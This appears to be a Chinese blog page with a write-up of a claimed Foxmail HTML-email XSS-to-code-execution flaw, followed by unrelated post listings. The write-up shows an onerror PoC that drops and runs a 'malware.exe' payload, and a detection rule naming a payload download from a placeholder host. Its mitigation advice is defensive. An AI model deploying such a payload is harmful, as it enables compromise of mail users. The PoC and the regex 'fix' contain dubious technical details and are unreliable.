当前位置：首页 > article >正文

Foxmail邮件客户端跨站脚本攻击漏洞（CNVD-2025-06036）技术分析

article 2026/1/25 7:29:52

Foxmail邮件客户端跨站脚本攻击漏洞（CNVD-2025-06036）技术分析

在这里插入图片描述

漏洞背景

‌漏洞编号‌：CNVD-2025-06036
‌CVE编号‌：待分配
‌厂商‌：腾讯Foxmail
‌影响版本‌：Foxmail < 7.2.25
‌漏洞类型‌：跨站脚本攻击（XSS）→ 远程代码执行（RCE）
‌风险等级‌：中危（CVSS 3.1评分6.8）

漏洞技术细节

1. 漏洞成因

Foxmail在处理HTML邮件内容时，未正确过滤以下关键点：

‌HTML标签注入‌：允许未转义的<script>、<iframe>等危险标签直接嵌入邮件正文。
‌事件处理器执行‌：未过滤onload、onerror等事件属性，导致JavaScript代码在渲染阶段自动触发。
‌资源加载逻辑缺陷‌：邮件客户端在加载远程资源（如图片、样式表）时，未验证来源可信性。

2. 攻击流程

攻击链：
1. 攻击者构造恶意邮件：- 在HTML正文中嵌入恶意JavaScript代码- 利用`<img src="invalid" onerror="malicious_code()">`触发执行
2. 目标用户使用Foxmail查看邮件
3. 客户端自动渲染HTML内容，触发XSS漏洞
4. 恶意代码通过本地API调用执行以下操作：a. 利用Foxmail客户端权限写入木马文件（如伪装为附件更新程序）b. 结合系统漏洞（如DLL劫持）获取主机控制权限
5. 建立持久化后门，实现远程控制

3. 漏洞利用限制

需绕过Foxmail默认的JavaScript执行沙箱策略
依赖受害者主机的本地提权漏洞（如未修补的CVE）

漏洞复现（PoC示例）

攻击邮件构造

<html>
<body><!-- 利用图片加载失败触发恶意代码 --><img src="x" onerror="const fs = require('fs');fs.writeFileSync('C:\\malware.exe', getRemotePayload());executeSilently('C:\\malware.exe');">
</body>
</html>

注：实际攻击中会通过混淆和加密手段隐藏代码。

漏洞影响分析

受影响场景

场景	风险等级	潜在危害
企业邮件系统	高危	内网横向渗透、数据泄露
个人用户	中危	隐私窃取、勒索软件感染
政府/金融机构	严重	国家级APT攻击的初始入口点

技术影响范围

操作系统‌：Windows 7/10/11（因Foxmail依赖系统API）
‌网络环境‌：无需外联即可触发本地代码执行
依赖组件‌：使用Chromium内核版本< 89的旧版渲染引擎

修复与缓解措施

官方修复方案

‌版本更新‌**：Foxmail 7.2.25及以上版本已实现：

// 新增的HTML过滤逻辑示例
function sanitizeHTML(content) {return content.replace(/<script\b[^>]*>/gi, '&lt;script&gt;').replace(/ on\w+="[^"]*"/gi, '');
}

‌沙箱强化‌：限制客户端JavaScript访问本地文件系统

临时缓解方案

# Windows系统防护措施
Set-ItemProperty -Path "HKLM:\SOFTWARE\Foxmail" -Name "DisableHTMLPreview" -Value 1

攻击检测建议

‌1. 日志监控
关注以下日志特征：

EventID=5145 | FileName Contains "malware.exe"
ProcessName="foxmail.exe" && CommandLine Contains "-hidden"

2. ‌网络流量特征
恶意代码可能包含以下请求：

GET /payload.bin HTTP/1.1
Host: malicious-domain.tld
User-Agent: Foxmail/7.2.0

深度防御建议

1. ‌企业级防护‌：

部署邮件网关过滤onerror、<iframe>等危险标签
使用EDR解决方案监控Foxmail进程行为

2. ‌用户教育‌：

禁止预览未知来源HTML邮件
启用Foxmail的纯文本阅读模式

扩展阅读
CNVD-2025-06046：Google Chrome沙箱逃逸漏洞大揭秘与防护指南
深入解析原型链污染漏洞（CVE-2019-10744）：从原理到实战防御

Foxmail邮件客户端跨站脚本攻击漏洞（CNVD-2025-06036）技术分析

Foxmail邮件客户端跨站脚本攻击漏洞（CNVD-2025-06036）技术分析漏洞背景 ‌漏洞编号‌：CNVD-2025-06036 ‌CVE编号‌：待分配 ‌厂商‌：腾讯Foxmail ‌影响版本‌：Foxmail < 7.2.25 ‌漏洞类型‌&#x…...

编程日记 2025/12/27 22:26:11

C语言打印的坑

使用下面的代码buf dprt("data: 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x 0x%02x", buf[0], buf[1], buf[2], buf[3], buf[4], buf[5]); 明明是一个字节一个字节的打，打出来的数据有些却是4个字节 0xffffffff 0xffffffff 0xffffffff 0x7f 0xffffffff 0x7f0…...

编程日记 2025/12/11 5:10:52

高并发内存池（三）：PageCache（页缓存）的实现

前言： 在前两期内容中，我们深入探讨了内存管理机制中在 ThreadCache 和 CentralCache两个层级进行内存申请的具体实现。这两层缓存作为高效的内存分配策略，能够快速响应线程的内存需求，减少锁竞争，提升程序性能。本期…...

编程日记 2026/1/16 4:15:08

pycharm已有python3.7，如何新增Run Configurations中的Python interpreter为python 3.9

在 PyCharm 中，如果你已经安装了 Python 3.9，并且希望在 Run Configurations 中新增一个 Python 3.9 的解释器，可以按照以下步骤操作： 步骤 1：打开 PyCharm 设置点击 PyCharm 左上角的 File 菜单。选择 Settings&am…...

编程日记 2025/11/27 9:39:43

Linux驱动开发-网络设备驱动

Linux驱动开发-网络设备驱动一，网络设备总体结构1.1 总体架构1.2 NAPI数据处理机制二，RMII和MDIO2.1 RMII接口2.2 MDIO接口三，MAC和PHY模块3.1 MAC模块3.2 PHY模块四，网络模型4.1 网络的OSI和TCP/IP分层模型4.1.1 传输层&…...

编程日记 2025/12/27 13:26:34

学习笔记083——Java Stream API

文章目录 1、过滤数据 filter()2、转换元素 map()3、排序 sorted()3.1、自定义排序规则 4、去重 distinct()5、限制元素数量 limit()6、收集结果 collect()6.1、收集为List6.2、收集为Set6.3、转为Map6.4、基本用法（注意键冲突会抛异常）6.5、处理键冲突&…...

编程日记 2025/11/27 1:27:10

DataEase同比环比

DataEase同比环比前言术语实现表结构设计DataEase设计创建数据集创建仪表盘最后前言某大数据项目，需要比较展示今年跟去年的数据，如下图：说明：比较24,25的产品销量，相同月份做一组，并排放一块还有更进一步：说明：比较24,25相同月份，相同产品的销量直接用DataE…...

编程日记 2025/12/27 12:25:44

RAG 工程基础

RAG 概念 RAG（Retrieval - Augmented Generation）技术是一种将检索与生成相结合的人工智能技术，旨在利用外部知识源来增强语言模型的生成能力，提高生成内容的质量、准确性和相关性。具体来说，RAG 技术在处理用户输入的…...

编程日记 2026/1/15 7:21:28

基础算法：滑动窗口_python版本

能使用滑动窗口的题，基本都需要数字为正整数，这样才能保证滑入一个数字总和是增加的(单调性) 一、209. 长度最小的子数组思路： 已每个位置为右端点，依次加大左端点，最短不满足 sum(num[left,right]) < target的。…...

编程日记 2026/1/5 5:11:58

Qt 之opengl shader language

着色器示例代码实际运行效果...

编程日记 2026/1/14 21:51:09

PyRoboPlan 库，给 panda 机械臂微分 IK 上大分，关节限位、碰撞全不怕

视频讲解： PyRoboPlan 库，给 panda 机械臂微分 IK 上大分，关节限位、碰撞全不怕代码仓库：https://github.com/LitchiCheng/mujoco-learning 今天分享PyRoboPlan库，比之前的方式优点在于，这个库考虑了机械…...

编程日记 2026/1/24 11:53:48

GPT - TransformerDecoderBlock

本节代码定义了一个 TransformerDecoderBlock 类，它是 Transformer 架构中解码器的一个基本模块。这个模块包含了多头自注意力（Multi-Head Attention）、前馈网络（Feed-Forward Network, FFN）和层归一化（Lay…...

编程日记 2026/1/16 22:14:17

LabVIEW 控制电机需注意的关键问题

在自动化控制系统中，LabVIEW 作为图形化编程平台，因其高度可视化、易于集成硬件等优势，被广泛应用于电机控制场景。然而，要实现稳定、精确、高效的电机控制，仅有软件并不足够，还需结合硬件选型、控制逻辑设…...

编程日记 2026/1/16 22:35:39

CSS 定位属性的生动比喻：以排队为例理解 relative 与 absolute

目录一、理解标准流与队伍的类比二、relative 定位：队伍中 “小范围活动” 的人三、absolute 定位：队伍中 “彻底离队” 的人在学习 CSS 的过程中，定位属性relative和absolute常常让初学者感到困惑。它们的行为方式和对页面布局的影响较为抽象，不过，我们可以通过一个…...

编程日记 2025/11/27 15:20:59

Jenkins 发送钉钉消息

这里不介绍 Jenkins 的安装，可以网上找到很多安装教程，重点介绍如何集成钉钉消息。需要提前准备钉钉机器人的 webhook 地址。（网上找下，很多教程） 下面开始配置钉钉机器人，登录 Jenkins，下载 …...

编程日记 2026/1/16 18:42:59

nt!KeRemoveQueue 函数分析之加入队列后进入等待状态

第一部分： 参考例子：应用程序调用kernel32!GetQueuedCompletionStatus后会调用nt!KeRemoveQueue函数进入进入等待状态 0: kd> g Breakpoint 8 hit nt!KiDeliverApc: 80a3c776 55 push ebp 0: kd> kc # 00 nt!KiDeliverApc 01 nt…...

编程日记 2025/12/19 0:12:35

OpenCV 风格迁移

一、引言在计算机视觉和图像处理领域，风格迁移是一项令人着迷的技术。它能够将一幅图像（风格图像）的艺术风格，如梵高画作的笔触风格、莫奈的色彩风格等，迁移到另一幅图像（内容图像）上&#x…...

编程日记 2026/1/20 22:03:37

35.Java线程池（线程池概述、线程池的架构、线程池的种类与创建、线程池的底层原理、线程池的工作流程、线程池的拒绝策略、自定义线程池）

一、线程池概述 1、线程池的优势线程池是一种线程使用模式，线程过多会带来调度开销，进而影响缓存局部性和整体性能，而线程池维护着多个线程，等待着监督管理者分配可并发执行的任务，这避免了在处理短时间任务时创建与…...

编程日记 2026/1/18 10:27:33

Kubernetes nodeName Manual Scheduling practice (K8S节点名称绑定以及手工调度)

Manual Scheduling 在 Kubernetes 中，手动调度框架允许您将 Pod 分配到特定节点，而无需依赖默认调度器。这对于测试、调试或处理特定工作负载非常有用。您可以通过在 Pod 的规范中设置 nodeName 字段来实现手动调度。以下是一个示例： apiVe…...

编程日记 2026/1/19 2:09:36

QML中访问c++数据，并实现类似C#中mvvm模式详细方法

1. 背景需求2. 实现步骤 2.1. 定义 Model（数据模型） 2.1.1. DataModel.h2.1.2. DataModel.cpp 2.2. 定义 ViewModel（视图模型） 2.2.1. PersonViewModel.h2.2.2. PersonViewModel.cpp 2.3. 在 QML 中使用 ViewModel 2.3.1. main.cp…...

编程日记 2026/1/18 20:01:37

React 获得dom节点和组件通信

通过REF 实例对象的.current属性获得绑定的DOM节点组件通信组件通信 1 父传子父组件传递数据子组件接受数据通过pros对象接受子组件的形参列表props只读 props中数据不可修改特殊情况在子传父的过程中没有直接给子组件添加属性，而是向父组件中添加其他…...

编程日记 2026/1/16 21:05:43

代码，Java Maven项目打包遇到的环境问题

这几天在写一些Java版本的Langchain4J的 AI 测试case，有一段时间不运行的Java环境，反复出现环境问题，记录下 1、Java编译版本的问题修改编译版本： 2、在IDE中运行遇到Maven中JDK版本问题在ide中执行maven命令，遇到下…...

编程日记 2026/1/16 18:19:28

fisco-bcos 关于服务bash status.sh启动runing 中但是5002端口监听不到，出错的问题

bash status.sh Server com.webank.webase.front.Application Port 5002 is running PID(4587) yjmyjm-VMware-Virtual-Platform:~/webase-front$ sudo netstat -anlp | grep 5002 没有端口信息输出此时可以查看log文件夹下的WeBASE-front.log，找到报错信息如下…...

编程日记 2026/1/16 18:44:27